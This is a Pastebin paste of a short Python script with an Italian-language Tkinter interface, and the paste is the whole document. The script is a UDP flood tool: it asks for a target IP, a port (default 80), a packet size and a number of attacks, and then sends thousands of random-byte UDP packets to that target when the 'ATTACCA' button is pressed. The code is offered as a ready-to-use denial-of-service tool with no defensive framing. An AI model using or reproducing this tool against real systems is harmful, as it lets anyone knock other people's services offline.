Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from tkinter import *
- import socket
- import random
- import time
- def attacco():
- conto=0
- sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- attacchieffettuati=0
- attacchi2=attacchi.get()
- try:
- flood=random._urandom(byte.get())
- except:
- tkinter.messagebox.showerror("Errore","Hai inserito un numero di bytes non possibile.")
- while attacchi2 > 0:
- attacchieffettuati=attacchieffettuati+1
- try:
- sock.sendto(flood,(ip.get(),porta.get()))
- except:
- tkinter.messagebox.showerror("Errore","Errore nell'attacco")
- attacchi2 = 0
- attacchi2 = attacchi2-1
- if attacchieffettuati==1000:
- conto=conto+1000
- attacchieffettuati=0
- time.sleep(0.5)
- e.set(str(attacchi.get())+" Attacchi effettuati")
- programma=Tk()
- e=StringVar()
- ip=StringVar()
- porta=IntVar()
- byte=IntVar()
- attacchi=IntVar()
- a=Label(text="Inserisci qui un IP").pack()
- testoip=Entry(textvariable=ip).pack()
- b=Label(text="Inserisci la porta da attaccare").pack()
- porta.set(80)
- testoporta=Entry(textvariable=porta).pack()
- c=Label(text="Inserisci quanti bytes deve usare un attacco").pack()
- byte.set(1024)
- testobyte=Entry(textvariable=byte).pack()
- d=Label(text="Inserisci quanti attacchi eseguire").pack()
- attacchi.set(10000)
- testoattacchi=Entry(textvariable=attacchi).pack()
- bottone=Button(text="ATTACCA",command=attacco).pack()
- attacchieseguiti=Label(master = None, textvariable=e).pack()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement